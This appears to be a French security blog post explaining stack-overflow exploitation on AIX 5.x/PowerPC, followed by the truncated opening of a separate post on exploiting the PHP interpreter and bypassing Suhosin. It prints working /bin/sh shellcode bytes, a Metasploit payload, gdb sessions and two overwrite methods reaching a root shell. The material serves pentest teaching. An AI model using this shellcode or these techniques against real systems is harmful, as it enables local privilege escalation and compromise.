Vulnérabilité

Exploitation de stack overflow sous AIX 5.x

IBMAIX [0], de son vrai nom Advanced Interactive eXecutive, est un UNIX propriétaire conçu par IBM qui tourne sur les processeurs de type PowerPC. La présence de ce type de machine sur le réseau local est bien souvent du pain béni pour le pentester. Outre les mauvaises pratiques récurrentes classiques telles que l'absence de fermeture et filtrage de services ou encore le laisser aller au niveau de l'application des patchs de sécurité, l'OS en lui-même est relativement rustique sur le plan sécurité.
Contrairement à ses petits cousins du monde libre (Linux, *BSD), AIX a peu fait l'objet d'évolutions au cours du temps. Il est aujourd'hui l'un des rares UNIX vraiment utilisés pour lequel on voit encore passer des CVE concernant des stack overflow en ligne de commande dans les binaires suid [1].
Ce billet traite de l'exploitation de stack overflow sous AIX 5.x et antérieur, la version 6.x introduisant une protection contre l'exécution qui fera l'objet d'un article dédié. La plupart des papiers traitant de ce sujet sont relativement anciens et se focalisent essentiellement sur l'écriture de shellcodes[2][3] donc peu sur l'aspect pratique. Les aspects traités dans ce billet sont donc les suivants :

  • Les outils et commandes utiles au pentester
  • Les rappels basiques d'assembleur PowerPC
  • L'étude de l'évolution de la stack
  • Les différents scénarios d'exploitation

 

 

La trousse à outils du pentester

Il y a quelques petites choses à connaître pour se faciliter la vie sur un système AIX. La plupart des commandes ci-dessous ne nécessitent pas de compte privilégié pour être exécutées.

 

1. Reconnaitre le processeur

La commande "lscfg" fournit beaucoup d'information utile. Voyons comment l'utiliser pour retrouver la version du processeur :

On commence par chercher la device associée au processeur :

    -bash-3.2$ lscfg
    LISTE DES RESSOURCES INSTALLEES
    [..]
    + sys0                               Objet système
    [...]
    + proc1            U0.1-P1           Processeur

Ensuite, on interroge le système sur la device en question.

    -bash-3.2$ lscfg -p -l proc1
      proc1            U0.1-P1  Processeur
      SPECIFIQUE PLATEFORME
      Nom :  PowerPC,POWER4
        Noeud :  PowerPC,POWER4@1
        Type d'unité :  cpu
        Emplacement physique : U0.1-P1

C'est donc ici un PowerPC 4.
Une autre commande possible est la suivante :

    -bash-3.2$ prtconf
    Modèle de système : IBM,9114-275
    Numéro de série de la machine : 656C02D
    Type de processeur : PowerPC_POWER4
    Nombre de processeurs : 1
    Fréquence d'horloge du processeur : 1452 MHz
    Type d'UC : 64-bit
    Type Kernel : 64-bit
    Infos LPAR : 1 NULL
    Taille de mémoire : 4096 MB
    Taille de mémoire appropriée : 4096 MB
    Niveau du microprogramme de la plateforme : 3F050502
    Version du microprogramme : IBM,RG050405_d79e05_r
    Connexion à la console : enable
    Redémarrage automatique : true
    Fichier core complet : false

Et on obtient bien le même résultat.

 

2. Connaitre la version exacte de l'OS

Contrairement aux autres Unix, "uname" n'est pas ce qu'il y a de mieux.
On lui préfère oslevel qui est beaucoup plus précis :

    -bash-3.2$ uname -a
    AIX AIXX 1 6 0056C02D4C00
    -bash-3.2$ oslevel -s
    6100-00-11-0943
    -bash-3.2$

Cela permet de savoir quels patchs ont pu être installés sur le système. Nous verrons plus bas que c'est absolument indispensable pour les shellcodes.

 

3. Savoir si les protections mémoire sont en place

AIXDepuis AIX 6.X il est possible d'interdire l'exécution dans certaines zones mémoires. Pour déterminer si de tels mécanismes sont en place, une solution simple consiste à compiler un exécutable de test qui tente d'exécuter du code sur la pile par exemple. Si le processus reçoit un SIGILL c'est que la mémoire est protégée. Il y a néanmoins plus intelligent et plus propre :
L'outil "sedmgr" permet à l'administrateur d'activer/désactiver les protections mémoire au niveau système ou plus finement au niveau des processus en modifiant un flag dans les binaires correspondants. L'exemple ci-dessous l'illustre :

    bash-3.2$ sedmgr
    Mode SED (Stack Execution Disable) : all
    SED configuré dans le noyau : all
    bash-3.2$

Dans le cas présent les protections sont en place. Elles sont par défaut appliquées à tous les exécutables, mais il est possible de définir une exception par le biais de l'insertion d'un tag dans le header COFF.

    -bash-3.2$ sedmgr -d vuln
    vuln : system
    -bash-3.2$ ./sploit_lr.pl
    Illegal instruction (core dumped)

Le processus est soumis aux règles du système. On peut choisir d'autoriser la pile en exécution pour ce processus :

    -bash-3.2$ sedmgr -c exempt vuln
    -bash-3.2$ sedmgr -d vuln
    vuln : exempt
    -bash-3.2$ ./sploit_lr.pl       
    $

Bingo!

 

4. Manipuler les binaires

Les exécutables AIX sont au format XCOFF[4]. Pour les analyser il faut donc des outils spécifiques. Fort heureusement, les binutils sont disponibles librement sous forme de RPM à l'adresse[5]. Grâce à objdump qui permet de lire le XCOFF, on peut ainsi obtenir des informations utiles sur un binaire ou le désassembler.

Pour obtenir les infos de mapping du binaire :

-bash-3.2$ objdump -h ./shellcode
./shellcode:     format de fichier aixcoff-rs6000
Sections:
Idx Nom    Taille  VMA              LMA              Fich off Algn
0 .text   00007ddb 0000000010000128 0000000010000128 00000128 2**5
         CONTENTS, ALLOC, LOAD, RELOC, CODE

1 .data   0000093d 0000000020000f03 0000000020000f03 00007f03 2**3
         CONTENTS, ALLOC, LOAD, RELOC, DATA
2 .bss    000000c0 0000000020001840 0000000020001840 00000000 2**3
         ALLOC
3 .loader 000007b0 0000000000000000 0000000000000000 00008840 2**3

Remarque : Il n'y a pas d'ASLR sous AIX.
On peut également obtenir les différents symboles, ce qui aide au reverse engineering :

-bash-3.2$ objdump -t ./shellcode
./shellcode:     format de fichier aixcoff-rs6000
SYMBOL TABLE:
[ 0](sec 0)(fl 0x00)(ty 0)(scl 2) (nx 1) 0x0000e008 ___memset
AUX val     0 prmhsh 0 snhsh 0 typ 0 algn 0 clss 7 stb 0 snstb 0
[ 2](sec 0)(fl 0x00)(ty 0)(scl 2) (nx 1) 0x0000e008 .___memset
AUX val     0 prmhsh 0 snhsh 0 typ 0 algn 0 clss 7 stb 0 snstb 0
[ 4](sec 0)(fl 0x00)(ty 0)(scl 2) (nx 1) 0x0000f000 ___memmove
AUX val     0 prmhsh 0 snhsh 0 typ 0 algn 0 clss 7 stb 0 snstb 0
[ 6](sec 0)(fl 0x00)(ty 0)(scl 2) (nx 1) 0x0000f000 .___memmove
AUX val     0 prmhsh 0 snhsh 0 typ 0 algn 0 clss 7 stb 0 snstb 0
[ 8](sec 0)(fl 0x00)(ty 0)(scl 2) (nx 1) 0x00000000 errno
AUX val     0 prmhsh 0 snhsh 0 typ 0 algn 0 clss 5 stb 0 snstb 0
[10](sec 0)(fl 0x00)(ty 0)(scl 2) (nx 1) 0x00000000 malloc
AUX val     0 prmhsh 0 snhsh 0 typ 0 algn 0 clss 10 stb 0 snstb 0
[12](sec 0)(fl 0x00)(ty 0)(scl 2) (nx 1) 0x00000000 free
AUX val     0 prmhsh 0 snhsh 0 typ 0 algn 0 clss 10 stb 0 snstb 0
[14](sec 0)(fl 0x00)(ty 0)(scl 2) (nx 1) 0x00000000 exit
[...]

 

5. Debugging

Il y a principalement deux outils :

  • gdb (externe) qu'on ne présente plus.
  • truss (natif) que les adeptes de solaris reconnaitront.

Ce dernier outil est un équivalent de strace sous Linux et permet donc de déterminer les appels système effectués par un processus donné.

-bash-3.2$ truss ./vuln AAAA
execve("./vuln", 0x2FF22D58, 0x200121E8) argc: 2
__loadx(0x0A040000, 0xD03D9144, 0x0000000A, 0x200008A8, 0x200000E3) = 0x00000000
_sigaction(2, 0x2FF22BC0, 0x2FF22BD0)   = 0
_sigaction(3, 0x2FF22BC0, 0x2FF22BE0)   = 0
sigprocmask(0, 0x2FF22BC4, 0x2FF22BB8)  = 0
_sigaction(20, 0x2FF22BC0, 0x2FF22BF0)  = 0
kfork()                                 = 295082
kwaitpid(0x2FF22BB0, 295082, 4, 0x00000000, 0x00000000) = 295082
_sigaction(2, 0x2FF22BD0, 0x00000000)   = 0
_sigaction(3, 0x2FF22BE0, 0x00000000)   = 0
_sigaction(20, 0x2FF22BF0, 0x00000000)  = 0
sigprocmask(2, 0x2FF22BB8, 0x00000000)  = 0
kfcntl(1, F_GETFL, 0x20000864)          = 2
kfcntl(2, F_GETFL, 0x00000000)          = 2
_exit(0)

 

6. Exploitation

Pour l'intrusion à distance, le pentester trouvera deux exploits remote pour bon nombre de versions d'AIX dans metasploit[5] comme dans CANVAS[6]. Il est également à noter que le pack D2[7] fournit quelques exploits locaux. Nombre d'exploits plus ou moins aboutis sont par ailleurs disponibles sur la toile, une petite recherche sur google suffit à en dénicher quelques-uns.

 

 

Petite introduction à l'assembleur PowerPC

Cette petite introduction vise à comprendre les rudiments nécessaires à l'exploitation d'un programme.Pour plus de détails, le lecteur est encouragé à lire [8][9][12].

1. Les principaux registres

Voici les registres que nous seront susceptibles de manipuler :

PC : Compteur de programme ; Adresse la prochaine instruction à exécuter
LR : Link Register ; Permet de sauvegarder le PC
R0 : Registre général ; Usage particulier tel que le transfert de LR
R1 : Stack pointer             
R31 : Sauvegarde de stack pointer   
R3,R4,... : Registres généraux ; Usage courant (arithmétique, manipulation de la mémoire, etc.)

2. Les appels de fonction

Les arguments sont placés dans r3,r4,r5, etc.
Par exemple, le code assembleur ci-dessous permet l'appel à func(1,2,3,4,5,6) :

    10000510:   38 60 00 01     lil  r3,1
    10000514:   38 80 00 02     lil  r4,2
    10000518:   38 a0 00 03     lil  r5,3
    1000051c:   38 c0 00 04     lil  r6,4
    10000520:   38 e0 00 05     lil  r7,5
    10000524:   39 00 00 06     lil  r8,6
    10000528:   4b ff ff 11     bl   10000438 <.func>

L'instruction "lil" permet de placer un entier dans un registre et bl est une instruction de branchement (de saut). L'instruction "BL" se distingue de "B" par l'utilisation du registre LR. Contrairement à l'assembleur x86, l'adresse de retour n'est pas placée sur la pile par l'instruction de branchement. En fait, "BL @dst" est équivalent à "LR <- @ret" + "jmp @dst".

Remarque : Le cas des fonctions avec un nombre d'arguments variable ou "important" est passé sous silence dans ce billet.

3. Les syscalls

Pour utiliser un appel système sous AIX, il faut spécifier le numéro du syscall, ses arguments et déclencher la trappe.
Plus précisément, on doit avoir un schéma de ce type :

r2            <-- numéro de syscall
r3,r4,r5,etc. <-- arguments 1,2,3,etc.
svca          <-- instruction pour invoquer l'appel système

Le gros problème des appels système sous AIX est qu'ils sont extrêmement dépendants de la version d'AIX.
On voit donc bien l'intérêt de la commande oslevel décrite plus haut.

Voici un exemple de shellcode PPC pour AIX 6.1 qui appelle execve() :

-bash-3.2# oslevel
6.1.0.0
-bash-3.2# ./shellcode
# exit
-bash-3.2# cat shellcode.c
/* shellcode.c
*  ripped from lsd
 */
char shellcode[] =   /* 12*4+8 bytes       */
  "\x7c\xa5\x2a\x79" /* xor.  r5,r5,r5     */ [L1]
  "\x40\x82\xff\xfd" /* bnel  <shellcode>  */ [L2]
  "\x7f\xe8\x02\xa6" /* mflr  r31          */ [L3]
  "\x3b\xff\x01\x20" /* cal   r31,288(r31) */ [L4]
  "\x38\x7f\xff\x08" /* cal   r3,-248(r31) */
  "\x38\x9f\xff\x10" /* cal   r4,-240(r31) */
  "\x90\x7f\xff\x10" /* st    r3,-240(r31) */
  "\x90\xbf\xff\x14" /* st    r5,-236(r31) */
  "\x88\x5f\xff\x0f" /* lbz   r2,-241(r31) */
  "\x98\xbf\xff\x0f" /* stb   r5,-241(r31) */ [L10]
  "\x4c\xc6\x33\x42" /* crorc cr6,cr6,cr6  */ [L11]
  "\x44\xff\xff\x02" /* svca               */ [L12]
  "/bin/sh"
  "\x06";
  ;
int main(void)
{
  char burp[256];
 
  // On veut etre sur d'etre en stack
  memcpy(burp, shellcode, sizeof(shellcode));
  int jump[2]={(int)burp,0};
  ((*(void (*)())jump)());
}

C'est assez classique et largement traité dans la littérature consacrée ([3],[4]). On retiendra dans les grandes lignes les points suivants :

  • L1 à L3 : Obtention de l'adresse de [L3] dans LR puis dans R31 (équivalent de l'astuce du call/pop/jmp version PowerPC).
  • L4 à L10 : Initialisation des registres en prévision de l'appel système et préparation de la stack pour execve()
  • L11 à L12 : Invocation de l'appel système. L'opcode de svca est modifié pour éviter les null bytes. Puisque le premier octet est réservé, mettre les octets intermédiaires 2 et 3 à 0xFF ne changera pas l'interprétation de l'opcode par le processeur.

Remarque : Le dernier octet du shellcode code le numéro de l'appel système. Comme ce shellcode le modifie, il doit être placé dans une zone mémoire accessible en écriture.

4. L'organisation de la stack

Pour bien comprendre les possibilités offertes à l'attaquant, il est important de comprendre les interactions entre registres et piles.

Voici un prologue classique de main() (on rappelle que _start() appelle main()).

0x100004e0 <main+0>:  mflr r0         ; R0 <- LR (@ret_main)
0x100004e4 <main+4>:  stw  r31,-4(r1) ; [R1-4] = R31_start
0x100004e8 <main+8>:  stw  r0,8(r1)   ; [R1+8] = R0 = @ret_main
0x100004ec <main+12>: stwu r1,-96(r1) ; [R1-96] = R1_start ET R1_main = R1_start - 96
0x100004f0 <main+16>: mr r31,r1       ; R31_main <- R1_main
[...]
0x10000504 <main+36>: bl 0x10000478 <f1> ; LR = @ret_f1 = 0x10000508 + jmp @f1
[...]

Le prologue la fonction f1() est très similaire :

0x10000478 <f1+0>:  mflr r0         ; R0 <- LR (@ret_f1)
0x1000047c <f1+4>:  stw  r31,-4(r1) ; [R1-4] = R31_main
0x10000480 <f1+8>:  stw  r0,8(r1)   ; [R1+8] = R0 = @ret_f1
0x10000484 <f1+12>: stwu r1,-80(r1) ; [R1-80] = R1_main ET R1_f1 = R1_main - 80
0x10000488 <f1+16>: mr   r31,r1     ; R31_func <- R1_f1

On constate donc que 3 métadonnées sont placées sur la pile :

  • L'adresse de retour de la fonction (ici @ret_main)
  • Une sauvegarde du R31 de la fonction appelante (ici R31_main)
  • Une sauvegarde du R1 de la fonction appelante (ici R1_main)

Si on imagine l'enchainement des fonctions main(), f1(), f2() alors après le prologue de f2() on aura le schéma de stack suivant :

         [     ??     ]
         [     ??     ]
         [  ret_start ] +8
         [     ??     ]
R1_start:[     ??     ]  0 <-- début stack frame 1 
         [  R1_start  ] -4
         [     ??     ]
         [     ??     ]
         [     ??     ]
         [     ??     ]
         [     ??     ]
         [     ??     ]
         [     ??     ]
         [     ??     ]
         [     ??     ]
         [  ret_main  ] +8
         [     ??     ]
R1_main: [  R1_start  ]  0 <-- début stack frame 2 
         [  R31_main  ] -4
         [     ??     ]
         [     ??     ]
         [     ??     ]
         [     ??     ]
         [     ??     ]
         [   ret_F1   ]  +8
         [     ??     ]
R1_F1:   [  R1_main   ]  0
         [  R31_F1    ]  -4
         [     ??     ]
         [     ??     ]
         [     ??     ]
         [     ??     ]
         [     ??     ]
         [     ??     ]
         [     ??     ]
R1_F2:   [   R1_F1    ]  <-- R1, R31 (début stack frame 3)
         [     ??     ]

Remarque : A l'exception du main(), R1=R31 pour toutes les fonctions.

L'épilogue de la fonction permet de comprendre quelles données sont susceptibles d'être manipulées par l'attaquant :

0x100004b0 <func+56>: lwz  r1,0(r1)   ; NEW_R1 = [R1_FUNC]
0x100004b4 <func+60>: lwz  r0,8(r1)   ; NEW_R0 = [NEW_R1+8]
0x100004b8 <func+64>: mtlr r0         ; LR = NEW_R0 = @ret_func
0x100004bc <func+68>: lwz  r31,-4(r1) ; NEW_R31 = [NEW_R1-4]
0x100004c0 <func+72>: blr             ; jmp @ret

Distinguons le cas de l'overflow (courant), de celui de l'underflow (marginal mais pas seulement théorique).

5. Le cas de l'overflow

En cas d'overflow dans la fonction f2(), on aura la situation suivante :

        [     ??     ]
        [ XXXXXXXXX  ]
        [ XXXXXXXXX  ]
        [ XXXXXXXXX  ]    +8
        [ XXXXXXXXX  ]
R1_F1:  [ XXXXXXXXX  ]     0
        [ XXXXXXXXX  ]    -4
        [ XXXXXXXXX  ]
        [ XXXXXXXXX  ]
        [ XXXXXXXXX  ]
        [ XXXXXXXXX  ]
        [ XXXXXXXXX  ]  <-- Adresse du buffer de l'overflow
        [     ??     ]
        [     ??     ]
R1_F2:  [   R1_F1    ]  <-- R1, R31 (début stack frame 3)

Il en résulte que l'attaquant contrôle directement :

  • NEW_R0 donc LR donc l'adresse de retour de la fonction f1().
  • NEW_R31 qui pourrait potentiellement induire un contrôle de l'adresse de la stack frame de la fonction appelante.

L'exploitation du premier est immédiate puisque le contrôle de LR implique le contrôle de l'adresse de retour de la fonction. Il suffit donc d'y mettre l'adresse de notre shellcode pour le faire exécuter lors du retour dans le main. Ce premier scénario est démontré plus bas.
Exploiter le second est en revanche beaucoup plus délicat voire parfois impossible. Pour le comprendre, il suffit de regarder l'utilisation du registre R31 dans la fonction appelante après épilogue de la fonction vulnérable. La plupart du temps, la seule opération faite sur ce registre est une opération en écriture (modification du contenu) qui annule le contrôle de l'attaquant. Il arrive cependant dans certains programmes que le contrôle de ce registre lui confère un avantage :

Le code ci-dessous tiré d'un binaire AIX 6.X est un bon exemple :

    0x100022f0:     ori     r3,r26,0
    0x100022f4:     ori     r4,r31,0
    0x100022f8:     addi    r5,r30,1044
    0x100022fc:     bl      0x10004ff0

Il est ici clair que que le contrôle de R31 induit le contrôle total de R4, deuxième paramètre de la fonction 0x10004ff0. Il reste à savoir si l'exploitation de ce paramètre est suffisante pour prendre le contrôle du programme. En cas d'overflow limité n'atteignant pas la sauvegarde de LR, ce peut être une bonne option pour l'attaquant.
Il existe un troisième paramètre, moins visible au premier abord mais qui induit le contrôle du registre LR. L'overflow permet en effet de contrôler la valeur de R1_main. Autrement dit lors de l'épilogue de F1, R1 sera restauré avec une valeur contrôlée par l'attaquant.

Or on sait que l'épilogue de f1() est :

    0x10000484 <f1+28>: lwz  r1,0(r1)
    0x10000488 <f1+32>: lwz  r0,8(r1)   [L2]
    0x1000048c <f1+36>: mtlr r0         [L3]
    0x10000490 <f1+40>: lwz  r31,-4(r1)
    0x10000494 <f1+44>: blr

Il en résulte (Cf. L2) que R0 est directement contrôlé par l'attaquant et par conséquent LR (Cf. L3). Ce troisième scénario constitue une deuxième alternative (nettement plus intéressante) à la prise de contrôle directe de LR en cas d'overflow partiel.
Attention néanmoins quelques précautions doivent être prises ! L'écrasement de R1_main implique en effet l'écrasement de R31_F1. Si une donnée est déréférencée à partir de R31_F1 (deuxième cas évoqué plus haut) avant d'atteindre l'épilogue du main alors le programme est susceptible de crasher. L'exemple ci-dessous le prouve :

    0x1000054c <main+76>:  bl    0x10000490 <vuln>
    0x10000550 <main+80>:  lwz   r0,56(r31)                [L1]
    0x10000554 <main+84>:  cmpwi cr7,r0,2                  [L2]
    0x10000558 <main+88>:  bne-  cr7,0x10000564 <main+100>
    0x1000055c <main+92>:  lwz   r3,84(r2)
    0x10000560 <main+96>:  bl    0x10000438 <call_libc>
    0x10000564 <main+100>: li    r0,0                      [L3]
    0x10000568 <main+104>: mr    r3,r0
    0x1000056c <main+108>: lwz   r1,0(r1)
    0x10000570 <main+112>: lwz   r0,8(r1)
    0x10000574 <main+116>: mtlr  r0
    0x10000578 <main+120>: lwz   r31,-4(r1)
    0x1000057c <main+124>: blr

Dans cette situation, au retour de vuln() en L1, si R31 contient une adresse invalide, le programme plante. Le contenu de ce registre doit dépendre du contexte. Dans le cas présent il suffit de mettre une adresse de pile pointant sur une valeur différente de 2 (cf comparaison en L2) pour continuer l'exécution sur L3 en ainsi continuer sur l'épilogue du main().

Remarque : Cette dernière technique est le pendant PowerPC de l'écrasement du frame pointer ([10],[11]) sous x86.

 

6. Le cas amusant de l'underflow

En cas d'underflow dans ce même buffer, on aura la situation suivante :

       [     ??    ]
       [   ret_F1  ] +8
       [     ??    ]
R1_F1: [  R1_main  ]  0
       [   R1_F1   ] -4
       [     ??    ]
       [     ??    ]
       [     ??    ]
       [     ??    ]
       [     ??    ] <-- Adresse du buffer de l'overflow
       [ XXXXXXXXX ]
       [ XXXXXXXXX ]
R1_F2: [ XXXXXXXXX ] <-- R1, R31 (début stack frame 3)
       [ XXXXXXXXX ]
       [...]

Ici l'attaquant contrôle R1_F1 donc indirectement NEW_R1, NEW_R0, NEW_R31 et surtout LR. Autrement dit un stack underflow est tout aussi exploitable qu'un stack overflow.
Remarque : Contrairement au x86, le PowerPC est big-endian. Il faut donc généralement écraser la quasi totalité de la sauvegarde de R1_F1 pour être capable de prendre le contrôle du programme.

 

Analyse d'un programme vulnérable et exploitation

1. On génère le shellcode dans MSF

 $ ./msfpayload aix/ppc/shell_interact AIX=6.1.0 P
 # aix/ppc/shell_interact - 56 bytes
 # http://www.metasploit.com
 # AutoRunScript=, InitialAutoRunScript=, AIX=6.1.0
 my $buf =
   "\x7c\xa5\x2a\x79\x40\x82\xff\xfd\x7f\xe8\x02\xa6\x3b\xff" .
   "\x01\x20\x38\x7f\xff\x08\x38\x9f\xff\x10\x90\x7f\xff\x10" .
   "\x90\xbf\xff\x14\x88\x5f\xff\x0f\x98\xbf\xff\x0f\x4c\xc6" .
   "\x33\x42\x44\xff\xff\x02\x2f\x62\x69\x6e\x2f\x73\x68\x05";

Remarque : Il y a une erreur dans MSF. Typiquement le dernier octet devrait être 6 (num_syscall_execve) pour AIX 6.1 or ici il est visible que le dernier octet est à 5.

2. Voyons voir ce que donne le deadlisting de notre programme vulnérable

main():

    (gdb) disass main
    Dump of assembler code for function main:
    [...]
    0x100004ec <main+68>:   bl      0x10000438 <vuln>
    0x100004f0 <main+72>:   li      r0,0
    [...]

vuln():

    (gdb) disass vuln
    Dump of assembler code for function vuln:
    0x10000438 <vuln+0>:    mflr    r0
    0x1000043c <vuln+4>:    stw     r31,-4(r1)
    0x10000440 <vuln+8>:    stw     r0,8(r1)
    0x10000444 <vuln+12>:   stwu    r1,-336(r1)
    0x10000448 <vuln+16>:   mr      r31,r1
    [...]
    0x10000470 <vuln+56>:   bl      0x100005ac <memmove>
    0x10000474 <vuln+60>:   nop
    [...]

On choisit de poser un breakpoint sur le nop, apres l'overflow.

    (gdb) b *0x10000474

Dans un premier temps, on va remplir notre buffer de façon légitime histoire de repérer les métadonnées intéressantes.

(gdb) r `perl -e 'print "A"x256'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /vuln `perl -e 'print "A"x256'`
Breakpoint 1, 0x10000474 in vuln ()
(gdb) x /100x $r1
0x2ff22a50: 0x2ff22ba0 0x00000000 0x00000000 0x00000000
0x2ff22a60: 0x00000000 0x20000878 0x00000000 0x00000000
0x2ff22a70: 0x00000000 0x2df23000 0x01fffba0 0x00000000
0x2ff22a80: 0x00000000 0xd03d9144 0x41414141 0x41414141
0x2ff22a90: 0x41414141 0x41414141 0x41414141 0x41414141
0x2ff22aa0: 0x41414141 0x41414141 0x41414141 0x41414141
0x2ff22ab0: 0x41414141 0x41414141 0x41414141 0x41414141
0x2ff22ac0: 0x41414141 0x41414141 0x41414141 0x41414141
0x2ff22ad0: 0x41414141 0x41414141 0x41414141 0x41414141
0x2ff22ae0: 0x41414141 0x41414141 0x41414141 0x41414141
0x2ff22af0: 0x41414141 0x41414141 0x41414141 0x41414141
0x2ff22b00: 0x41414141 0x41414141 0x41414141 0x41414141
0x2ff22b10: 0x41414141 0x41414141 0x41414141 0x41414141
0x2ff22b20: 0x41414141 0x41414141 0x41414141 0x41414141
0x2ff22b30: 0x41414141 0x41414141 0x41414141 0x41414141
0x2ff22b40: 0x41414141 0x41414141 0x41414141 0x41414141
0x2ff22b50: 0x41414141 0x41414141 0x41414141 0x41414141
0x2ff22b60: 0x41414141 0x41414141 0x41414141 0x41414141
0x2ff22b70: 0x41414141 0x41414141 0x41414141 0x41414141
0x2ff22b80: 0x41414141 0x41414141 0xd016c32c 0x00000000
0x2ff22b90: 0x00000000 0xf040d760 0x00000000 0x2ff22ba0
0x2ff22ba0: 0x2ff22bf0 0x00000000 0x100004f0 0x00000000
0x2ff22bb0: 0x00000000 0x00000000 0x2ff22cd6 0x00000000
0x2ff22bc0: 0x00000000 0xdeadbeef 0xdeadbeef 0xdeadbeef
0x2ff22bd0: 0xdeadbeef 0xdeadbeef 0xdeadbeef 0x0000000a

Autrement dit, on a ce qu'on attendait :

    [     ??      ]
    [     ??      ]
    [     ??      ]
    [     ??      ]
    [     ??      ]
    [  @(main+72) ]  <-- adresse de retour de f1()
    [     ??      ]
    [    R1_main  ]
    [    R31_F1   ]
    [  0x00000000 ]
    [  0xf040d760 ]
    [  0x00000000 ]
    [  0x00000000 ]
    [  0xd016c32c ]  <-- padding + variables locales (20 bytes)
    [  0x41414141 ]
    [  0x41414141 ]
    [     ...     ]         
    [  0x41414141 ]
    [  0x41414141 ]  <-- buffer[256]
    [     ??      ]
    [     ...     ]
    [     ??      ]
    [   R1_main   ]  <-- R1 = R1_vuln = R31_vuln

 

 

Méthode 1 : Ecrasement de @(main+72)

On réalise un overflow de 9*4 octets et on obtient le contrôle de LR.

Testons :

-bash-3.2$ ./sploit.pl
Segmentation fault (core dumped)
-bash-3.2$ gdb ./vuln core
GNU gdb 6.0
This GDB was configured as "powerpc-ibm-aix5.1.0.0"...(no debugging symbols found)...
Core was generated by `vuln'.
Program terminated with signal 11, Segmentation fault.
#0  0x44444444 in ?? ()
(gdb)

Il ne reste plus qu'a faire pointer LR sur l'adresse de notre shellcode en stack.
On refait le test ...

    -bash-3.2$ ./sploit_lr.pl
    #

Note : Attention à l'alignement des adresses ! Le PC ne doit contenir que des adresses multiples de 4.

 

 

Méthode 2: Ecrasement de R1_main

On réalise un overflow de 28 octets et on obtient le contrôle de R1_main (et de R31_F1). On écrase $R1_main avec 0x43434343 et on observe ce qui se passe (on arrête l'overflow là)

    -bash-3.2# ./sploit.pl
    Segmentation fault (core dumped)
    -bash-3.2# gdb ./vuln core
    [...]
    #0  0x100004fc in main ()
    (gdb) x /4i 0x100004fc
    0x100004fc <main+84>:   lwz     r0,8(r1)
    0x10000500 <main+88>:   mtlr    r0
    0x10000504 <main+92>:   lwz     r31,-4(r1)
    0x10000508 <main+96>:   blr
    (gdb) i r $r1
    r1             0x43434343       1128481603
    (gdb)

On a donc le contrôle de R1 comme on s'y attendait. D'après le listing, on gagne alors successivement le contrôle de R0 puis de LR. Il suffit donc d'écraser R1_main avec l'adresse d'une zone contrôlée (@NEW_STACK) dans lequel on place @SHELLCODE à @NEW_STACK + 8. On obtient alors :

-bash-3.2$ ./sploit_r1.pl
# id
uid=0(root) gid=0(system) groups=2(bin),3(sys),7(security),8(cron),10(audit),11(lp)

 

Moi non plus je n'aime pas le perl. Mais il est natif sous AIX contrairement à python...

 

Conclusion

Ce court billet permet d'introduire l'exploitation de stack overflow dans un contexte de mémoire non protégée. Nous verrons dans un prochain article comment exploiter ces mêmes bugs sur un AIX 6.x qui incorpore une protection contre l'exécution sur la stack.

Références

[0]   http://www-03.ibm.com/systems/power/software/aix/index.html
[1]   http://secunia.com/advisories/37833
[2]   PPC shellcode, Palante
[3]   PowerPC Stack Attacks, Christopher A Shepherd
[3]   http://publib16.boulder.ibm.com/pseries/en_US/files/aixfiles/XCOFF.htm
[4]   ftp://ftp.freesoftware.ibm.com/
[5]   http://www.metasploit.com
[6]   http://www.immunitysec.com/products-canvas.shtml
[7]   http://www.d2sec.com
[8]   http://pds.twi.tudelft.nl/vakken/in1200/labcourse/instruction-set/
[9]   PowerPCTM Microprocessor Family: The Programming Environments for 32-Bit Microprocessors, IBM
[10] The Frame Pointer Overwrite, Klog, Phrack #55
[11] Bypassing PaX ASLR protection, Tyler Durden, Phrack #59
[12] http://www.risesecurity.org/

Vulnérabilités au coeur du moteur PHP - Partie 2

Grâce à ce que nous avons vu dans le post précédent, nous pouvons maintenant lire et écrire dans la mémoire de l'interpréteur PHP.
Nous allons utiliser cette possibilité pour différentes exploitations de PHP qui seront décrites dans la suite de ce billet. Il est donc important de lire le billet précé
dent pour comprendre celui-ci.
 
Pour la première exploitation, nous allons exploiter un pointeur sur fonction contenu dans la structure HashTable.
Cette structure sert par exemple
à stocker les variables PHP de type array en interne. Parmi les informations qu'elle contient, il y a un pointeur sur fonction pDestructor qui est appelé lors de la destruction d'un élément de l'array.

Exploitation via pDestructor :

- Créer un array et retrouver sa structure HashTable en mémoire.
- Créer une variable qui contient le shellcode à exécuter.
- Retrouver l'adresse en mémoire du shellcode.
- Ecraser la valeur du pointeur pDestructor de la hashtable avec l'adresse du shellcode.
 
Maintenant que tout est prêt, on peut déclencher l'exploitation simplement via l'appel à unset sur un élément de l'array. L'appel à unset va provoquer un appel à la fonction interne zend_hash_destroy qui va utiliser le pointeur sur  fonction pDestructor et donc appeler notre shellcode.
 
Il est intéressant de noter que Stefan Esser précise dans sa présentation que Suhosin rend cette exploitation impossible. En effet, PHP avec Suhosin au début de la fonction zend_hash_destroy appelle une fonction zend_hash_check_destructor qui va vérifier que les pointeurs pDestructor n'ont pas été écrasés en les comparant à une liste.
 
Extrait de la fonction zend_hash_check_destructor :
 

static void zend_hash_check_destructor(dtor_func_t pDestructor) 
{
    unsigned long value;
    ....
 
    if (zend_hash_dprot_counter > 0) {    [*] Nombre d'element dans la liste
   ....                             [*] Parcours de la liste
 
       if (!found) {                     [*] Le pointeur est bien dans la liste ?
           zend_hash_dprot_end_read();
           zend_suhosin_log(S_MEMORY, "possible memory corruption detected - unknown Hashtable destructor");
           exit(1);
           return;
       }
   }
   zend_hash_dprot_end_read();
}

Si la variable globale zend_hash_dprot_counter est à zéro alors aucun test n'est fait.

Contrairement à ce que pense Stefan, cette protection est contournable très facilement. Il suffit de parcourir le binaire pour résoudre le symbole de cette variable globale et la mettre à 0. En plus de cette solution, nous avons développé une technique qui permet de retrouver de façon fiable l'emplacement mémoire de cette variable dans  le heap.

Le shellcode étant placé dans le heap, cette exploitation présente l'inconvénient de ne pas fonctionner sur des systèmes où celui-ci n'est pas exécutable tel que Linux avec le patch Grsecurity ou encore Windows avec DEP actif.

Démonstration avec PHP 5.2.6-3ubuntu4.2 with Suhosin-Patch 0.9.6.2 :

$ php ./exploit_shellcode_dtor.php
[+] OS: Linux
[+] Auto-detection: sizeof_int=4 sizeof_long=4 sizeof_ptr=4, little-endian system
[+] Testing memory leak (arbitrary read access)
[+] Memory leak test : read OK
[+] INI safe_mode: ON
[+] INI open_basedir: /home/
